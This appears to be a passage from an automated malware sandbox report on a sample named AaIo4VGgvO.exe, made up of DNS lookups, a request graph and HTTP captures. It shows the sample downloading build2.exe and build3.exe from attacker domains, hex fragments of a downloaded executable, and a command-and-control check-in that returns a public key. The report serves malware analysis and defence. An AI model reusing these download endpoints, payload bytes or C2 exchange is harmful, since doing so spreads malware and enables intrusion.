Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	189.181.37.206	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.146.85.61	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	37.255.238.137	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	201.236.158.115	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:00.327578068 CEST	1.1.1.1	192.168.2.4	0x6e34	No error (0)	sdfjhuz.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	190.224.203.37	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	187.204.104.31	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.202.224.10	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.181.37.206	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029088974 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	190.224.203.37	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	187.204.104.31	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.202.224.10	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.181.37.206	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029129982 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	190.224.203.37	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	187.204.104.31	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.202.224.10	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.181.37.206	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.029162884 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	187.204.104.31	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	189.181.37.206	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	211.202.224.10	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	181.55.190.201	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.086136103 CEST	1.1.1.1	192.168.2.4	0x83d1	No error (0)	cajgtus.com	190.224.203.37	A (IP address)	IN (0x0001)	false
Apr 23, 2024 22:17:02.995758057 CEST	1.1.1.1	192.168.2.4	0x3842	No error (0)	steamcommunity.com	104.67.208.180	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

sdfjhuz.com

cajgtus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	187.228.55.117	80	7460	C:\Users\user\Desktop\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 22:17:00.484534979 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
Apr 23, 2024 22:17:01.094348907 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 20:17:00 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 23, 2024 22:17:01.094413042 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 23, 2024 22:17:01.094458103 CEST	246	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE]UQQh^A
Apr 23, 2024 22:17:01.094499111 CEST	1289	IN	Data Raw: 00 41 00 68 18 c3 43 00 50 a3 e4 1e a0 01 c7 05 18 c3 43 00 56 69 72 74 66 c7 05 21 c3 43 00 6f 74 c7 05 1c c3 43 00 75 61 6c 50 c7 05 23 c3 43 00 65 63 74 00 c6 05 20 c3 43 00 72 ff 15 40 00 41 00 a3 d8 1e a0 01 c7 45 fc 20 00 00 00 83 45 fc 20 Data Ascii: AhCPCVirtf!CotCualP#Cect Cr@AE E EPu5$5]U`Bk$VWHAKQ3$V$\A9V<AOu$tW$8K8u6
Apr 23, 2024 22:17:01.247986078 CEST	1289	IN	Data Raw: 07 03 00 81 3d f0 24 a0 01 1f 05 00 00 75 06 ff 15 10 00 41 00 4e 75 eb 5f 33 c0 5e 8b e5 5d c2 10 00 55 8b ec 51 56 8b f1 8d 4d ff e8 2e 01 00 00 50 8b ce e8 29 01 00 00 6a 00 6a 00 8b ce e8 bd 00 00 00 ff 75 08 8b ce e8 90 00 00 00 8b c6 5e 8b Data Ascii: =$uANu_3^]UQVM.P)jju^]USVMW];rhM+9}B};uuPZSjq0jWt$MWPP8W_^[]TUVuYPu
Apr 23, 2024 22:17:01.248032093 CEST	1289	IN	Data Raw: f9 ff 77 0b 51 e8 fe 1f 00 00 59 85 c0 75 05 e9 a2 01 00 00 c3 8b c1 c3 55 8b ec 56 57 8b f9 8b f2 8b 4d 08 e8 ec ff ff ff 50 56 8b cf e8 06 00 00 00 5f 5e 5d c2 04 00 55 8b ec 56 ff 75 08 6a 04 e8 8b f0 ff ff 8b f0 59 59 85 f6 74 0c 8b 4d 0c e8 Data Ascii: wQYuUVWMPV_^]UVujYYtM^]U=AAtM9txu3]@]U=<A8AtM9txu3]@]UVuA^]UVu,A^]UVu
Apr 23, 2024 22:17:01.248070002 CEST	1289	IN	Data Raw: 08 72 88 f3 a5 ff 24 95 98 25 40 00 8d 49 00 8f 25 40 00 7c 25 40 00 74 25 40 00 6c 25 40 00 64 25 40 00 5c 25 40 00 54 25 40 00 4c 25 40 00 8b 44 8e e4 89 44 8f e4 8b 44 8e e8 89 44 8f e8 8b 44 8e ec 89 44 8f ec 8b 44 8e f0 89 44 8f f0 8b 44 8e Data Ascii: r$%@I%@\|%@t%@l%@d%@\%@T%@L%@DDDDDDDDDDDDDD$%@%@%@%@%@D$^_D$^_FGD$^_IFGFGD$^_t1\|9u$r$4'@
Apr 23, 2024 22:17:01.248131037 CEST	1289	IN	Data Raw: f9 01 74 11 83 f9 02 75 0f 6a 04 eb 0a a8 01 75 f8 a8 02 74 03 6a 03 5b 80 7d e4 00 74 07 8b 4d e0 83 61 70 fd 8b 4d fc 8b c3 5f 5e 33 cd 5b e8 94 17 00 00 8b e5 5d c3 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 05 00 00 00 83 c4 0c 5d c3 55 8b ec 6a 00 Data Ascii: tujutj[}tMapM_^3[]Ujuu]Ujuuu]UEu??3]@]UEVfDAF0^]UEDAAA]UVufDAF^]DA
Apr 23, 2024 22:17:01.248167038 CEST	1289	IN	Data Raw: 90 8a 06 88 07 8b 44 24 0c 5e 5f c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 44 24 0c 5e 5f c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 44 24 0c 5e 5f c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 Data Ascii: D$^_FGD$^_IFGFGD$^_t1\|9u$r$0@$d0@Ir+$/@$0@/@/@0@F#Gr$0@IF#GFGr$0@F#GFG
Apr 23, 2024 22:17:01.248205900 CEST	1289	IN	Data Raw: a4 24 00 00 00 00 8b ff 8b 4c 24 04 57 f7 c1 03 00 00 00 74 13 8a 01 83 c1 01 84 c0 74 3d f7 c1 03 00 00 00 75 ef 8b ff 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 23 84 e4 74 1a a9 00 00 ff 00 74 0e Data Ascii: $L$Wtt=u~3tAt#tttyyyyL$ttfu~3tt4t'ttD$_fD$G_fD$_D$_Vj
Apr 23, 2024 22:17:01.248245001 CEST	1289	IN	Data Raw: 53 ff b5 e8 ef ff ff e8 6d 45 00 00 8b 8d f4 ef ff ff 83 c4 0c 3b c1 75 3f 8b 95 ec ef ff ff 8b 42 08 03 c6 8b c8 2b 4a 08 3b 42 08 1b c0 f7 d0 23 c1 89 85 e0 ef ff ff 76 15 8b 42 08 8b 8d e0 ef ff ff 80 38 0a 75 01 46 40 43 3b d9 72 f4 f7 42 0c Data Ascii: SmE;u?B+J;B#vB8uF@C;rB TSQEy\;w@t@tpCDtFu+u^[M3_]jh(fA7e3u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	189.195.132.134	80	7460	C:\Users\user\Desktop\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 22:17:02.180116892 CEST	139	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 23, 2024 22:17:02.621797085 CEST	761	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:17:21 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 75 35 31 66 77 6e 51 79 38 55 75 2b 73 49 4a 6e 73 66 38 42 5c 5c 6e 66 53 69 7a 31 61 75 68 5a 74 4c 39 39 6a 48 62 75 64 32 37 79 42 32 34 78 54 58 6a 52 78 6e 46 5c 2f 71 55 44 6a 74 50 75 4d 7a 71 52 39 63 6e 6b 34 46 4d 34 62 44 37 33 77 51 52 72 64 52 46 68 5c 5c 6e 53 45 35 57 6b 31 31 76 74 6b 53 50 70 34 7a 43 4e 6e 58 37 69 4f 42 47 78 52 71 36 54 52 58 41 33 72 58 6c 4d 2b 50 75 6f 52 5a 4a 76 6f 53 6d 31 67 38 39 63 56 6e 6d 70 38 75 75 55 5a 67 4d 5c 5c 6e 30 45 74 6c 55 6b 62 48 57 4b 46 6b 72 33 4c 4e 47 5a 6c 33 33 68 55 6d 76 46 69 77 30 43 51 52 71 2b 54 34 44 49 7a 39 64 6e 4b 46 6f 53 43 4f 44 43 4f 41 59 4c 34 65 66 62 59 47 5a 69 6c 37 5c 5c 6e 63 33 5c 2f 48 7a 35 43 46 45 2b 66 65 56 54 2b 65 55 34 7a 62 4e 74 43 6d 34 42 37 76 79 42 76 4b 4e 34 73 4d 69 44 52 61 6b 4a 48 51 5a 73 4a 5a 34 48 64 6b 55 46 6a 39 4f 4d 71 4e 37 37 34 61 5c 5c 6e 63 36 69 6b 67 43 74 54 4a 64 49 42 78 45 37 5a 61 37 59 6f 53 59 49 50 47 76 67 41 34 6b 5c 2f 51 4e 76 71 56 36 4f 36 55 37 33 71 4e 42 65 30 34 6b 52 78 73 5a 6e 38 33 74 49 66 36 35 45 76 63 5c 5c 6e 4f 51 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 53 4c 69 62 79 4a 38 6e 5a 50 34 33 4b 38 58 36 59 63 6f 72 39 49 78 76 4f 6c 73 4b 48 56 54 4c 49 70 57 32 6e 51 34 50 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24xTXjRxnF\/qUDjtPuMzqR9cnk4FM4bD73wQRrdRFh\\nSE5Wk11vtkSPp4zCNnX7iOBGxRq6TRXA3rXlM+PuoRZJvoSm1g89cVnmp8uuUZgM\\n0EtlUkbHWKFkr3LNGZl33hUmvFiw0CQRq+T4DIz9dnKFoSCODCOAYL4efbYGZil7\\nc3\/Hz5CFE+feVT+eU4zbNtCm4B7vyBvKN4sMiDRakJHQZsJZ4HdkUFj9OMqN774a\\nc6ikgCtTJdIBxE7Za7YoSYIPGvgA4k\/QNvqV6O6U73qNBe04kRxsZn83tIf65Evc\\nOQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	189.195.132.134	80	7540	C:\Users\user\AppData\Local\bd76416c-c07f-44e7-96b8-02ba830059cc\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 22:17:02.191037893 CEST	128	OUT	GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 23, 2024 22:17:02.634850025 CEST	761	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 20:17:21 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 557 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 75 35 31 66 77 6e 51 79 38 55 75 2b 73 49 4a 6e 73 66 38 42 5c 5c 6e 66 53 69 7a 31 61 75 68 5a 74 4c 39 39 6a 48 62 75 64 32 37 79 42 32 34 78 54 58 6a 52 78 6e 46 5c 2f 71 55 44 6a 74 50 75 4d 7a 71 52 39 63 6e 6b 34 46 4d 34 62 44 37 33 77 51 52 72 64 52 46 68 5c 5c 6e 53 45 35 57 6b 31 31 76 74 6b 53 50 70 34 7a 43 4e 6e 58 37 69 4f 42 47 78 52 71 36 54 52 58 41 33 72 58 6c 4d 2b 50 75 6f 52 5a 4a 76 6f 53 6d 31 67 38 39 63 56 6e 6d 70 38 75 75 55 5a 67 4d 5c 5c 6e 30 45 74 6c 55 6b 62 48 57 4b 46 6b 72 33 4c 4e 47 5a 6c 33 33 68 55 6d 76 46 69 77 30 43 51 52 71 2b 54 34 44 49 7a 39 64 6e 4b 46 6f 53 43 4f 44 43 4f 41 59 4c 34 65 66 62 59 47 5a 69 6c 37 5c 5c 6e 63 33 5c 2f 48 7a 35 43 46 45 2b 66 65 56 54 2b 65 55 34 7a 62 4e 74 43 6d 34 42 37 76 79 42 76 4b 4e 34 73 4d 69 44 52 61 6b 4a 48 51 5a 73 4a 5a 34 48 64 6b 55 46 6a 39 4f 4d 71 4e 37 37 34 61 5c 5c 6e 63 36 69 6b 67 43 74 54 4a 64 49 42 78 45 37 5a 61 37 59 6f 53 59 49 50 47 76 67 41 34 6b 5c 2f 51 4e 76 71 56 36 4f 36 55 37 33 71 4e 42 65 30 34 6b 52 78 73 5a 6e 38 33 74 49 66 36 35 45 76 63 5c 5c 6e 4f 51 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 53 4c 69 62 79 4a 38 6e 5a 50 34 33 4b 38 58 36 59 63 6f 72 39 49 78 76 4f 6c 73 4b 48 56 54 4c 49 70 57 32 6e 51 34 50 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu51fwnQy8Uu+sIJnsf8B\\nfSiz1auhZtL99jHbud27yB24xTXjRxnF\/qUDjtPuMzqR9cnk4FM4bD73wQRrdRFh\\nSE5Wk11vtkSPp4zCNnX7iOBGxRq6TRXA3rXlM+PuoRZJvoSm1g89cVnmp8uuUZgM\\n0EtlUkbHWKFkr3LNGZl33hUmvFiw0CQRq+T4DIz9dnKFoSCODCOAYL4efbYGZil7\\nc3\/Hz5CFE+feVT+eU4zbNtCm4B7vyBvKN4sMiDRakJHQZsJZ4HdkUFj9OMqN774a\\nc6ikgCtTJdIBxE7Za7YoSYIPGvgA4k\/QNvqV6O6U73qNBe04kRxsZn83tIf65Evc\\nOQIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	189.195.132.134	80	7460	C:\Users\user\Desktop\AaIo4VGgvO.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2024 22:17:02.763570070 CEST	96	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
